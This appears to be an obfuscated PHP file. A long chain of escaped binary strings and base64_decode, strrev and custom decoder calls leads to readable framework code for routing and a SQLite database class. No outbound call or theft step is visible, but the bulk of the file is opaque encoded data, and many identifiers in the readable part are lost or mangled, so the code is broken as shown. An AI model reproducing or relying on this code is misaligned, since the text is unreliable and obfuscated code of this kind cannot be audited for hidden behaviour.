237\376\364\247\157\56\70\153\365\127\237\177\372\305\313\333\36\177\170\350\263\277\137\272\361\214\356\63"."\377\271\357\256\153\267\335\175\346\337\377\72\171\356\333\217\137\264\366\335\177\73\153\306\251\47\54\274\354\365\360\245\363\157\354\250\75\147\316\71\33\327\37\134\375\344\147\167\174\357\200\111"."\xd7\x4f\xfe\xe4\xd6\xbf\xaf\xad\x38\xe2\x86\xf\xe\x38\xef\x77\x53\xde\xf2\xef\xe9\xfa\xcd\x9c\xa6\x45\xb7\x1c\xb2\x67\xf1\x5\x37\xc6\x26\x7d\xe1\xbe\x69\xf7\x6b\x3f\xaf\x9d\xf2\x87\xb9\xa1\x19\x63\xef\x1f".base64_decode('tquv/aBo621zNnW99Y/l1/zb1X/57iUf/XDsE+3znS9+fvunr/efXr3rod7Htn9Wdf9jAw==').base64_decode('Qx0fL1v8kz/PWXHGjN/+7b57jlp82ZXPF2auP/fm+PpHT9syNdV61lMnnL1nxkF737tvTw==').base64_decode('hfvK/lcWpC58fv1jWwLv/MeEQ26a2PWD4yZ7Tnhg0g+W7nzjg97QF4/9Md64aeSJ5z5eew==')."\302\11\257\371\257\261\136\134\240\35\361\235\43\236\175\175\335\256\376\127\136\30\170\310\365\305\147\13\17\177\360\313\225\251\157\377\127\274\347\266\353\136\72\276\163\315\310\137\256\173\336\174".base64_decode('9czfn7zbKmzrXtNx8r9f9bv8mWe+9vdHrv5o/uOvL5jj/d4Hb1upPZllD3/quvP2d10NOw==')."\257\135\374\372\357\137\135\373\332\353\167\35\75\343\301\245\333\52\256\273\71\227\272\351\274\257\266\356\274\71\270\246\347\314\335\273\177\363\351\375\261\73\117\337\367\342\165\21\55\166\315\63"."\xcf\xfe\x3c\xa8\xcd\x9b\xbf\xe4\xb8\x2b\x1a\xcc\xb9\x4f\xbc\x36\xf9\xd7\x9f\x3f\x63\xed\x59\xf9\xe5\x9f\xe\xdb\x75\xca\xf3\x4b\x94\x2d\x2f\x9f\xb0\xf1\x89\x1f\xfc\xc9\x8a\x3f\xd4\xf8\xbb\x4f\x4e\x6a\xb8\x6e"."\371\232\360\213\213\357\371\357\57\276\234\224\373\316\374\246\163\217\177\171\342\135\137\376\356\207\223\66\36\24\251\76\362\271\335\257\274\176\376\211\7\126\304\177\233\334\272\240\277\165\302\202"."\x83\x2b\xde\xba\xf0\xcc\x47\x13\x86\xf6\xb3\xc2\x4f\x3e\xdc\xf0\xb7\x57\xde\xff\xc1\xe5\x7\x3d\x70\xed\xad\x4f\xee\x98\xbf\xe1\xd7\x3f\xac\x3b\xbb\xeb\xb2\x43\xdf\x38\xea\x74\x73\x57\xf5\x17\x75\xcf\x1c\xfd"."\207\154\363\167\237\336\375\334\1\331\353\237\331\376\106\152\333\167\173\102\357\277\175\157\365\320\307\27\157\355\336\226\275\341\375\336\71\47\76\170\122\162\356\342\267\117\370\327\135\315\127\136".base64_decode('+0H0l31/fLnprOMe+PnRs9ef/8xzSzb+66XUrM27/jBxd89ThwR+ev3EyPUHfvuOH9UcdA==')."\xcc\xa2\x23\x7f\xfb\x97\xba\xf\x8a\xef\x3f\x95\x50\x32\x2f\x59\x2f\xd5\x5c\x38\xf8\xee\x93\x7f\xbd\x7e\xe3\xa5\xaf\x6a\xc7\x5c\xb5\xe8\x94\x4b\x7e\x7d\xc4\xca\x3\x3d\x5f\x4e\xbb\xb4\x78\xc6\x61\x3f\x7a\xfe"."\372\173\116\354\277\163\140\127\325\61\17\376\354\363\7\374\33\76\360\45\6\316\362\256\171\343\307\77\76\374\261\67\237\250\254\174\344\366\57\126\14\36\271\167\353\73\277\172\302\367\320\364"."\300\275\337\371\303\252\17\77\177\361\245\147\216\334\324\271\43\375\140\337\177\231\177\173\376\263\207\16\130\163\361\227\153\265\177\155\77\335\373\341\177\156\135\70\362\324\253\167\116\336\263\346"."\337\43\13\266\77\177\301\130\143\353\322\357\337\163\314\275\256\203\157\71\353\365\210\357\237\37\376\351\267\113\147\235\363\325\346\73\326\24\116\337\363\125\323\57\254\321\251\57\34\70\30\370"."\327\13\277\331\65\375\307\213\174\153\237\366\17\105\157\252\374\347\242\337\273\177\166\134\141\333\111\305\343\252\273\276\163\151\347\141\233\252\216\132\363\176\123\305\125\235\243\357\177\366\246\347"."\226\165\305\317\156\364\336\375\370\227\117\77\375\254\252\176\271\357\345\343\157\131\73\362\351\257\356\335\365\346\277\336\175\375\370\133\172\346\177\121\127\365\316\313\341\133\324\257\376\172\343\133"."\177\277\161\341\31\73\107\206\77\175\265\345\370\307\77\377\360\351\237\236\254\256\373\352\345\77\236\265\356\237\157\236\165\326\23\273\36\336\62\166\362\366\201\237\34\176\316\75\53\277\272\271"."\345\274\113\206\337\335\275\141\360\263\377\172\344\344\11\67\176\274\364\147\367\177\376\306\231\357\276\265\175\370\305\125\203\17\357\374\347\133\377\330\373\311\33\137\35\276\162\313\11\173\116\334"."\xb0\xf5\xd9\x63\x93\xf3\x5e\xb9\xe9\x3b\x1b\x3f\x4f\xdd\xfb\xd9\x3b\xf3\x6f\x7c\xfd\xf9\xe3\x1f\x78\xe0\xd2\x79\x3f\xfe\xe4\xa6\x93\x27\xb4\x5d\xb0\xed\x1f\x2d\xaf\xe4\xf\xba\x6d\xda\x9f\x5c\xb\x27\xbc\xfb"."\xa3\xde\x9f\xaf\x7c\x21\x73\x9c\xfa\xce\x14\xff\xe2\x67\x9e\xb9\xa2\xfd\x7b\x75\x7\x37\x56\xfe\xec\x95\xc3\x8e\x7a\xe6\x5f\x7\x87\x2f\xb9\xf2\xac\xbf\x7c\x97\x3d\xb7\x9b\x59\xb\xca\x5f\x5\x6b\xd5\xc0\x48"."\32\204\30\40\36\113\16\345\343\11\13\224\142\147\317\5\311\156\176\265\71\274\212\75\305\33\326\372\63\361\21\270\2\256\255\201\42\323\247\203\332\124\35\13\314\230\3\337\231\73\33\156".base64_decode('beOrctlCH1wNm4VV2WQ/fAlK9g4NW6sTwNvOnA5N181lDbGUWXXQojHcq6f64UJz1nRI7Q==').strrev('jAٵRhlB{YSiա'."\r".'PV虑YYV')."\372\34\50\67\34\357\113\244\262\40\100\233\65\27\122\147\324\301\327\264\125\205\144\232\153\145\240\303\266\71\134\144\145\241\343\263\147\200\2\351\154\66\300\351\320\261\272\132\110\260\342\303".base64_decode('xf4B6MNctpRmrxbPGLBAtbWwAvGh1drgAJuHOhhFxirm42x2EiNDvZoBDHJ2YHhEY8Ll6Q==').base64_decode('bPirhgpWRh+hkTlzYdSzmQrhSGZooGDCiXbI0HJpNn+1bN0TqaSpD6yCc052UCvEYeRmsg==')."\250\17\61\305\244\331\165\320\144\355\314\31\14\250\346\302\44\316\142\40\60\223\55\312\164\230\252\131\14\2\315\302\152\155\144\60\301\116\123\350\74\307\164\254\247\117\147\140\3\355\32\271".base64_decode('4mDfKoC9keFkboj1bvZMaC2eHEH1QbabW20Zw/0A8qu1/qE+9sRhaCBvZJn4ZWYtVJ4zAw==')."\x96\x6d\x16\xcc\xb9\x8e\x3a\x36\xc4\xa4\xae\x73\x67\xd6\xb0\x71\x32\xf8\x9b\xc9\xbe\xe\x1d\x5c\x95\x4f\xf\xf4\x26\x87\x18\xa4\x41\x79\x33\xde\x57\x18\xcc\xc2\xda\x1b\xd6\xaa\xa1\x44\xb6\xc0\xb6\x18\x14\xd1"."\362\253\13\43\103\60\356\174\22\101\163\34\276\132\67\33\332\236\123\307\167\52\254\345\234\131\63\330\156\256\141\205\141\276\247\317\146\103\142\323\74\173\316\154\266\127\106\6\372\262\260\360"."\251\201\276\214\221\54\60\320\201\42\311\204\61\224\55\300\74\247\207\6\207\373\164\50\137\313\240\161\60\261\152\240\67\313\216\216\171\323\352\35\144\267\373\43\161\43\317\24\76\147\363\336"."\x33\x64\x50\xcb\xa0\xa5\x3f\x97\x31\x8a\x6c\x56\xf4\x44\x6f\x7f\x7e\xa4\xc8\x46\xca\xf6\xe0\x6c\x6\x35\x73\x66\x31\x4c\x13\x1f\xd1\x73\xb0\x88\x89\x64\x7c\xa4\xc0\x6e\x30\xe6\xcc\x85\x9e\xcd\x98\xce\xd1\x4"."\xfb\xf6\x8c\xd9\x6c\x45\xa0\xbd\xb9\x30\x5f\x39\xbd\x37\x9d\x64\xdb\x39\x91\xd4\xcd\x4c\x1a\xe6\xc2\x1a\x49\x6a\xa9\x1\x26\x8d\xce\x1b\x56\x5f\x6\x80\xaa\x3f\x9f\xea\x2b\x30\xad\x2\x2b\xa5\x21\x50\x2a\xb0"."\x65\x80\x8d\x53\xcb\x56\xa8\xb6\xe\x2\xfd\xab\x73\x86\x95\x84\xc1\xd6\xb2\xd1\x34\x6a\x89\x7e\x26\x49\xe6\x6a\xbf\xb2\xbe\x2c\xd5\xfc\xa2\x22\x3b\xf9\xea\x85\x3d\x9e\x4c\xe7\x3c\x59\x2d\xc7\xb5\x6e\x5a\xe1"."\3\162\132\277\256\63\225\173\320\105\260\204\46\7\250\352\102\172\72\253\13\351\70\275\203\140\65\305\161\37\313\132\44\135\20\34\215\312\255\44\162\226\224\215\142\266\334\250\374\52\0\106"."\207\173\350\221\107\275\42\313\220\124\231\273\114\220\10\233\346\240\121\200\31\353\67\222\11\4\113\111\133\253\311\270\247\314\114\322\221\224\313\351\165\246\163\215\41\321\240\115\373\235\245\331"."\x66\x2d\x4e\x56\x94\xab\x27\xe1\x3f\xd0\x6f\xfa\x5c\xd9\xc4\xea\xdc\xfc\xd5\x1a\x2d\xed\x61\xb\x13\x97\xc0\x81\xa\xf7\x2d\xcd\xec\xf7\xc8\xc9\x6e\x39\x37\x9d\x43\xfd\xcd\x64\x3c\xf6\x7\xec\xf8\x25\x79\x67"."\207\32\363\105\27\113\152\177\370\245\63\203\35\125\74\155\220\306\41\26\115\232\101\171\355\354\143\146\260\261\177\333\43\243\33\257\31\273\172\373\330\206\273\107\37\336\264\377\356\355\243\73".strrev('/d}y9mt~>w{'."\r".'`.;F')."\xbd\x3b\xb6\x8e\x6d\xfe\xd1\xe8\x5\xf\xec\x7d\xe4\x9a\xd1\x8b\x6f\x1d\xbd\x68\xe3\xd8\xa6\xd\x7b\x77\x6e\x46\xe5\xc7\x2e\x16\x2d\xa3\x62\xa3\x5b\xaf\xc3\x75\x1f\x3d\x77\x74\xc7\x8e\xfd\xb7\x6d\xe1\xb9\x1f"."\77\172\16\320\4\220\116\266\350\226\22\135\22\142\272\134\4\40\225\5\12\200\242\156\172\224\216\214\216\146\114\41\317\247\261\342\227\325\247\27\24\213\50\200\151\350\137\316\310\271\51\250".base64_decode('0cf3ppLO4WyFzbWHg2MMMR4YqGCWvPR1q+0NhQR55aaZZpSBIzzXYq2qcBCu9LDgUOnVUA==').base64_decode('QrJe6UXVFPaGS7EMFs4O80V3gH/ZZeXdYEub4vJ7IVaGjkmPY+idTQlIkf1kRwa2nWZHIw==')."\162\226\175\46\100\356\113\324\17\134\12\355\212\113\41\227\316\212\375\51\67\126\47\140\127\364\362\236\221\273\137\320\363\31\176\373\204\105\247\145\47\321\61\204\150\231\351\342\203\260\145\242"."\375\130\264\312\24\224\147\125\226\47\247\15\177\6\241\62\161\33\112\56\376\105\167\151\124\310\261\321\207\70\46\54\350\210\115\200\205\326\263\244\44\140\100\217\164\213\104\337\73\161\265\350".base64_decode('BAL7gu2CbP7CfF8e2++w5i0E/Xz28E3qA4TF+y05FQ9RLEXGeQXHt0xTo2RTAxerd7vdkg==')."\250\130\50\251\341\20\64\56\156\242\121\132\0\357\347\361\322\233\270\202\6\332\350\251\224\156\132\365\344\121\254\62\115\101\335\236\343\251\105\1\262\45\146\172\146\243\40\231\77\330\306\335".base64_decode('MKdFkz1RmuyZAfyPOQ+0S+YRbNIgdR/SRa1iLsNSURAViRRzeO3r7WPWc0mp0jwtYUmtqg==')."\xbd\x30\xc5\x1e\x31\x1f\xda\x34\x91\xaf\x27\xe1\xa9\x9f\x57\x9a\xa5\x41\x28\xc0\xea\xb6\xd9\x21\x2\x8d\xdf\xcd\x81\x4\x2d\xb6\x85\x7a\x60\x12\x15\x57\xa0\x21\xd0\xa4\x29\xd9\x10\x88\x8\xf8\xc2\xd5\xc9\x74".base64_decode('fU1VS17yfMLI5bhuq5nR2FWmid/c5HQOjUWT37ZgPXAV0XFTQK6aZOxYKNioNgVB+9HXEQ==')."\124\243\321\260\144\71\203\274\75\136\256\56\16\67\251\376\160\170\161\20\140\254\136\302\200\370\255\243\270\231\306\61\361\346\21\337\346\310\72\150\62\163\201\315\175\140\62\32\125\100\127\23"."\x41\xb1\xbf\xd5\x17\xe1\x1a\xf2\x33\x3d\x35\x9e\x5a\x51\x16\x7d\x50\xc5\x2f\x4\x1a\xd8\xbb\xfc\x68\xcc\x17\x29\x63\xf4\x85\x1a\x83\x81\xa9\x6\x3\x30\x50\xa1\x35\xbc\x4c\xf1\x87\x43\x9d\x6d\xed\x51\x6a\xeb"."\204\246\267\207\245\174\242\7\15\331\314\44\114\151\66\64\37\350\10\371\374\1\45\330\36\13\263\27\16\134\25\225\274\155\211\362\70\233\202\202\251\163\223\57\120\237\106\344\367\67\162\213"."\xbc\x25\x0\xce\x2e\x57\x65\x77\x45\xf7\xd4\xee\xaa\xee\xea\x95\x9e\x6e\xb3\xc7\x2b\xd1\xa4\xb4\xbc\x3c\x10\xe9\x68\x82\xe1\xd5\xf3\x50\xd2\x84\x6d\xd9\x16\x45\xc4\x9c\x6\xc3\x11\x9f\x3f\xc4\xba\xd2\xe8\x8b"."\102\60\354\17\322\300\276\253\356\331\373\360\145\373\156\274\173\364\107\33\120\103\143\67\234\73\166\355\3\210\5\301\154\307\335\353\367\75\166\331\330\125\333\306\326\3\273\240\354\337\366\340".strrev('39B+9v6=6x[%y]j')."\x22\xb7\x9f\x3d\x76\xff\xa5\x63\x9b\x37\x8c\x5e\x72\xdb\xe8\xf5\x5b\xf6\x5d\xb6\x6d\xf4\x3f\xce\x1b\xbd\x70\xc3\xfe\x6d\x57\x9f\xe2\x4\x24\x1a\xef\x62\x4b\x1\xcf\xad\xbd\x67\xe0\xa7\xf2\x74\x7a\xbb\xcd\x69"."\x78\x6a\xab\xd1\x6f\x15\x7e\x37\x81\x7e\x99\xfa\x37\x51\x9\x5e\xd2\x19\x68\xf7\x7\x9c\xf\x90\xe4\x28\xd8\xcb\x99\x4a\x21\x84\x6a\xc9\x0\xef\x69\x82\xbd\x1d\x16\x27\x36\x2b\x1a\x2a\xc7\xed\xc5\x5a\x58\x7f"."\xa9\x53\x52\x67\x9a\x2\x51\x7f\x24\xd8\x18\x0\xcd\x7c\xbe\x50\x93\x9\xdf\x4\x3a\x12\x28\x35\x1a\x59\xca\xc3\xfc\xa9\x6a\x89\x7d\x23\xa5\x8a\x1\x73\xb5\x62\x1b\x88\xe6\x49\x18\x99\x62\x36\x47\x3a\xab\x54".strrev('[q\\G=y#ɀkD~0jtVhQl*J&iR5,'."\n".'`')."\254\326\125\123\255\124\344\373\53\240\137\142\136\121\357\125\132\322\124\64\127\25\164\130\356\256\50\213\360\242\151\25\264\164\316\62\225\204\213\47\361\372\350\327\146\306\50\341\21\65\350\72"."\xa1\x12\xce\x34\xc5\xd7\xde\x64\x2f\x49\xad\x1f\x75\x54\x12\xfd\xca\x84\xc7\xe2\xa6\x49\xd8\x32\x57\x56\x2b\x71\x78\xef\x50\x26\x93\x54\xb3\x4d\x46\x83\x6d\x32\xaa\xa6\x1\x9e\xe8\x68\xe1\xeb\x4d\x1f\x33\x28"."\364\221\33\355\226\146\262\205\202\124\262\124\70\225\256\26\53\153\240\141\240\305\241\345\121\200\347\140\265\177\336\22\102\107\74\203\255\40\116\347\213\130\46\217\230\245\252\240\274\35\35\147"."\326\114\61\124\7\317\350\333\126\360\61\60\130\126\30\213\301\215\132\341\347\172\201\230\277\225\102\171\124\2\363\144\174\262\15\120\305\164\52\66\20\341\7\4\50\107\267\13\106\10\23\111"."\xb9\x60\x7b\x73\x38\xd2\x46\x9f\xa9\x45\xfd\xad\x81\x36\x9f\x7\x90\x38\x85\x4\x5a\x1e\xf3\x4f\x4a\x83\x52\x89\x31\x1f\x4d\xaa\xb4\x4d\x3f\xf9\x10\x9b\xb2\x18\xf9\x2a\xda\x57\xaa\x85\x98\x21\x3a\xb\xf9\x14"."\164\6\126\137\41\366\0\64\122\245\241\222\232\154\201\46\271\365\265\160\44\246\242\11\0\364\54\141\335\112\211\132\110\132\340\370\321\325\0\343\354\173\21\167\143\60\343\63\311\70\63\322".base64_decode('hhrHbfrD7c1B9iKvCc7B+aRhK9QUCWKLHPB9hTUlvYNEEaGRgSL5wSQPCyMHOIPTfBQRJA==')."\x1f\x45\x38\xb1\xc1\xa5\x24\x6b\x72\xf8\xfb\xd1\x76\x1e\x16\xc\x2c\x8a\x74\x46\xd9\x83\xc\x8c\x7d\x97\x35\xf1\x70\x2b\x7f\x8f\x8e\x33\xc2\x11\x29\xe2\x8b\xf8\xda\xa2\x3c\x1a\x59\xc6\x1f\x78\xf0\x34\xfa\xd0"."\x43\x6d\xef\x6c\x13\x18\x3f\xe4\x5b\x8a\x80\x25\x2c\x18\x14\x86\xad\xab\x3c\x53\x17\x56\x77\xd3\xb7\x73\x34\x48\x7f\x16\xb1\x18\x7e\x4f\xd4\xb3\xa6\xd6\xa5\xcc\x5a\x57\xd\x65\xb8\x65\xb\xab\x2f\x9d\x63\x1c"."\x24\xfe\xca\x92\x90\x1a\xa\xb7\xd0\x38\xb1\x72\x17\xc8\x25\xc5\xe9\x43\xe9\x52\x10\x3b\x1b\x13\xec\xac\xc9\x48\x17\xdf\xd\xa\x82\x61\x85\xbe\xc4\x55\xda\xc3\xcb\x7c\xc2\x70\x9a\x94\x1\x29\xc2\x8e\x9a\xf7"."\x8c\xae\xee\xc1\x6e\xf\x62\x16\xcc\x95\xe2\x2d\x5c\x53\xa3\xc2\xd8\x10\x62\xd4\x4\xe\xf3\x50\xdb\xc7\xc8\xe8\x4a\x17\x50\xc\x35\x63\xa4\x98\xb9\x21\x84\x10\x19\xbb\x40\x7f\x97\xb3\x0\xc1\x95\x50\x21\x41"."\136\51\17\361\116\370\334\247\253\335\153\273\247\164\273\75\364\1\42\146\136\272\135\242\113\152\140\71\242\261\321\250\355\365\244\112\14\153\101\353\150\224\20\242\273\226\106\346\303\17\234\257"."\346\3\267\17\321\5\15\174\61\3\113\326\266\243\177\55\261\265\1\364\57\204\176\102\61\264\134\151\136\0\155\311\120\160\161\140\55\376\117\144\124\363\211\244\357\214\354\25\202\355\153\321".base64_decode('/wjBrA22OxtrDMSWBQK0AAvDryiKEA4MVbKCiHX/IVu8BYCmVbWKTKa7Z1q1qnrNToAXbg==')."\xba\xa3\xaa\xf2\xd4\xda\x4a\xa0\x21\xbe\xa8\x5f\x60\x5f\x1b\x40\x94\xc2\x2\xd1\xd4\xb7\x3\x2\xb7\xed\x7\xf1\x96\x48\xb8\xb3\x43\x8a\xb7\xfa\x96\x6\xdb\x5b\x58\xcc\x3b\x95\x85\xa6\x42\xd3\x4a\x53\x30\x8a"._kodDe('LLqYcsGKQ4YOstUEYjqobNgSX3bPLSI6fC0e/jC+QtFef1ezj4VCRO4JDnT2ojTCLLuGZZ4=')."\x2c\x4e\xde\x8c\xb3\x8\x9e\x72\x16\x26\xe0\xc6\x22\x64\xe\x58\x84\x4e\x0\x8b\x91\xe9\x62\x11\x62\xda\x90\x45\xc8\x40\x59\x4\x9f\x4e\x2\xed\x2c\xf\x9d\xfc\xd0\xa9\x8d\x1d\xe7\xfa\xb4\x1\xfe\xe2\x71\x5e".strrev('$.W~)\'@ %>{ڧtiY\\j*:_C8.2')."\112\6\247\364\261\257\25\113\133\31\333\107\341\121\40\372\150\220\274\304\224\76\313\36\117\20\121\237\152\110\202\146\102\267\345\4\41\134\242\122\151\220\313\12\331\15\126\142\44\22\133\32"."\xb5\x9f\xa8\x38\x9a\x5a\xc9\xf\x4a\x60\x2d\xc1\x5\xbf\xd0\xa3\xa3\xe9\x4f\x37\x44\x99\x64\xa2\x1b\x3e\x52\xe9\x2\xa2\xdb\xcd\x18\xf6\xae\xee\xa1\x9a\x1a\x37\xfa\x6f\xe\xfa\xd7\x88\xfe\xf9\xd1\xbf\x0\x4e".base64_decode('aO4emt2MAnObe7xwx8HeXtgNUXZ3V4w3yVCATTVEK2iU1Upzypnow+ZmVCvLZODkiCeEzw==')."\124\14\56\342\115\221\160\7\345\143\224\140\263\102\115\60\50\225\124\160\136\11\14\232\77\22\300\173\214\226\142\171\125\225\66\301\325\202\112\5\236\145\127\333\153\5\333\233\2\313\225\312"."\164\162\110\325\64\25\52\53\150\107\263\206\224\222\226\130\13\264\257\354\36\272\317\30\124\144\40\145\247\156\77\115\213\11\300\55\141\360\210\61\5\366\4\326\5\107\173\236\103\371\152\232".base64_decode('FYwish8KkZGirLSJ2WGXwm0e4ER8hKFCUGiIZdCGaFZgeSziw4mEhz1iIvpD0BI+YxWyGg==').base64_decode('fRdKOD/PShA1rLQxmpQFxawmwB0hnNKYeA6RN9BplqURi4F3p7GOSLDNF1kBUyZOErBxjQ==')."\214\355\165\260\210\244\315\116\351\175\172\73\352\265\374\136\235\256\61\307\323\350\124\314\360\64\352\15\15\126\340\225\247\101\260\147\253\362\347\307\114\24\123\305\236\361\272\130\200\331\177\40"."\57\244\230\24\53\213\20\27\217\211\125\3\330\207\125\221\163\345\67\136\302\340\56\46\265\170\221\31\315\150\366\165\206\344\24\230\52\145\161\140\305\327\354\21\326\323\162\173\204\345\61\241".base64_decode('Dt9tMJ6qmTA+apmiqg6dbIs5bMOG28qEXgGF7oyFVUSFIgFME2BEfFql/kqnd3lRoBlcgA==')."\133\57\376\232\241\261\62\345\206\306\353\163\371\125\240\275\45\330\36\150\150\33\16\106\175\155\12\353\70\110\350\260\205\314\71\320\116\60\254\206\20\147\255\312\102\270\140\30\4\300\66\363".base64_decode('i6oqzJp4NKEPbhWKkjG7tEF0r9v4Mw2iLI4AwiesGnAhNckrxnFtmehBfYeV07RRj3NwYQ==').base64_decode('yuvME8VV28edytZystADF3e67NqYG8ODCp2SVQJcWWEfJHc7OXv3EJnNMLtUqi5Gk9VNkw==')."\337\355\306\372\164\305\314\353\11\142\126\123\1\143\160\112\322\320\115\141\57\34\346\236\234\266\130\320\352\23\366\33\144\173\264\115\215\154\222\213\71\53\252\147\100\70\337\24\47\12\367\342"."\x69\x9c\x78\x8a\x24\x29\xe2\x93\x1b\x17\xb1\x72\xd4\xca\x9e\xa3\x22\xb4\x14\xe4\x53\x23\x95\x12\x89\x21\x61\x80\x16\x5f\x69\x88\x36\x7b\x98\xcc\x40\xcc\xc7\x48\x9a\x11\x41\xe7\x95\x20\xef\x64\xce\xe8\xd0\xb"."\331\64\271\325\131\46\56\155\200\316\240\6\350\372\173\24\107\75\171\326\361\115\140\111\111\154\247\342\353\326\220\231\44\43\75\223\336\105\342\50\300\12\276\326\224\136\233\24\163\350\43\156".base64_decode('+f0Sgh2SKL2YYCYJaWw2KB8h+IRAClLYb4HleIRdG9Im5qrcws5EUpOfikoW50+RIYUsuQ==')."\x80\xed\xde\xb4\x6c\x74\xc2\x23\x6c\xf8\xf2\xed\xb2\x88\x2f\x14\x7e\x42\xd\x77\xeb\x98\x61\xef\x55\xa5\xbe\x74\xf0\xf2\xc2\x7a\x27\x9d\xd\x69\x19\x48\x2\xd\x92\xd\xae\xd4\x8b\x4e\xb4\xa6\x31\xfc\xf\x4b"."\xb0\x23\xa5\xb6\x31\x1b\x4c\x60\x41\x38\xc4\xd4\xc1\xf0\x93\xf\xdd\x2\x43\x5f\x36\xfc\x14\xc\x43\x5d\x8f\x8e\xdf\x4f\xd1\xd7\x2c\x1\x6e\x80\x11\x55\xa4\xd6\xea\xbe\xb9\x52\xa7\x64\x44\x79\x1c\x94\x52\xb6"."\236\37\12\362\17\26\210\320\351\233\77\30\321\5\325\107\325\310\163\265\157\254\44\120\54\371\22\251\44\241\145\107\35\2\216\364\151\15\254\174\37\144\13\30\103\264\240\75\254\266\42\162"."\23\146\114\111\332\214\331\320\73\253\5\50\304\102\74\123\302\113\36\377\302\301\161\36\321\35\240\367\227\260\330\153\20\346\346\41\246\371\1\46\275\4\63\340\243\77\53\262\111\67\352\70".strrev('XvEt)C4S,Li6jA#tgI%ER]@').base64_decode('tqVGAv4V/LqFpzb7ljpTglg26Wspm8wlZjidHE3VSBiLFgOhZkeFaCu3uGtPU0PB9sVlMw==')."\20\153\322\46\125\241\211\301\130\240\315\231\146\157\41\32\360\105\230\71\150\34\157\14\205\375\122\166\60\134\72\23\234\367\341\211\124\60\111\23\275\147\124\165\257\41\247\242\172\164\70\112"."\xae\xc5\x12\xc\xb7\xda\x33\xad\x7a\x61\xf7\xba\xea\xaa\x6e\xef\x42\xcf\x54\x2e\x78\xa3\xe8\x4a\x7a\x9a\x3b\x4e\xb2\xc9\x88\x4f\xbd\x33\x1\xd3\x2d\x96\x48\xab\x41\xcc\xeb\xf1\xc0\x47\x78\xc0\xdb\xed\x65\x66"."\273\274\42\23\176\105\371\111\16\32\3\346\327\243\324\6\222\255\243\16\123\41\354\155\276\307\371\204\114\145\357\306\30\146\325\172\231\316\100\220\136\337\252\321\25\121\276\126\366\64\33\104".strrev('[IFconfig =& $config; $this->in =& $in; $this->values[$둊[6]] =& $config; $this->values[$둊[7]] =& $in; $this->tpl = TEMPLATE . MOD . $둊[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($谟) { if (1 === func_num_args()) { $this->{$谟} = new $谟(); } else { $ = new ReflectionClass($谟); $ = func_get_args(); array_shift($); $this->{$谟} = $->newInstanceArgs($); } return $this->{$谟}; } public function routeBind($, $, $۴ά = 3) { $۶̚ =& $_SERVER[՟]; $Ʌ = $this->in[$۶̚[9]]; $ = str_replace($۶̚[10], $۶̚[11], trim(trim($, $۶̚[8]), $۶̚[12])); if (!$ || count($Ʌ) <= $۴ά) { return !1; } $פ = !0; $瀃 = explode($۶̚[8], $); for ($ߑˇ = 0; $ߑˇ < count($瀃); $ߑˇ++) { if ($瀃[$ߑˇ] != $Ʌ[$۴ά + $ߑˇ]) { $פ = !1; break; } } if (!$פ) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($꿃 = 3) { $Ѐ = $this->in[$_SERVER[՟][9]]; if (count($Ѐ) <= $꿃) { return array(); } $̤챛 = array(); for ($ = $꿃; $ < count($Ѐ); $ += 2) { $̤챛[$Ѐ[$]] = $Ѐ[$ + 1]; $this->in[$Ѐ[$]] = $Ѐ[$ + 1]; } return $̤챛; } protected function assign($ր, $ٹ) { $this->values[$ր] = $ٹ; } protected function display($ͩ) { ob_end_clean(); extract($this->values); require $this->tpl . $ͩ; } } class DbSqliteBase extends Db { public function __construct($ = '') { $ =& $_SERVER[՟]; if (!extension_loaded($[13])) { think_exception(think_lang($[14]) . $[15]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($Ǻ = '', $˾ = 0) { $椕 =& $_SERVER[՟]; if (!isset($this->linkID[$˾])) { if (empty($Ǻ)) { $Ǻ = $this->config; } $٠ = !empty($Ǻ[$椕[17]][$椕[18]]) ? $Ǻ[$椕[17]][$椕[18]] : $this->pconnect; $ͪ = $٠ ? $椕[19] : $椕[20]; $this->linkID[$˾] = $ͪ($Ǻ[$椕[21]], $Ǻ[$椕[16]]); if (!$this->linkID[$˾]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$˾], 30000); if (1 != think_config($椕[22])) { unset($this->config); } } return $this->linkID[$˾]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[՟]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ņ = $this->getAll(); return $ņ; } } public function execute($) { $¾ =& $_SERVER[՟]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($¾[25], 1); think_status($¾[24]); $ƾ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $ƾ) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[՟][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[՟][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[՟][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($Ʉ = 0; $Ʉ < $this->numRows; $Ʉ++) { $[$Ʉ] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($) { $݆ =& $_SERVER[՟]; $Ϙ = $this->query($݆[29] . $ . $݆[30]); $흹 = array(); if ($Ϙ) { foreach ($Ϙ as $˵Ë => $ç) { $흹[$ç[$݆[31]]] = array($݆[32] => $ç[$݆[31]], $݆[33] => $ç[$݆[34]], $݆[35] => (bool) ($ç[$݆[36]] === $݆[12]), $݆[37] => $ç[$݆[38]], $݆[39] => strtolower($ç[$݆[40]]) == $݆[41], $݆[42] => strtolower($ç[$݆[43]]) == $݆[44]); } } return $흹; } public function getTables($ɱ = '') { 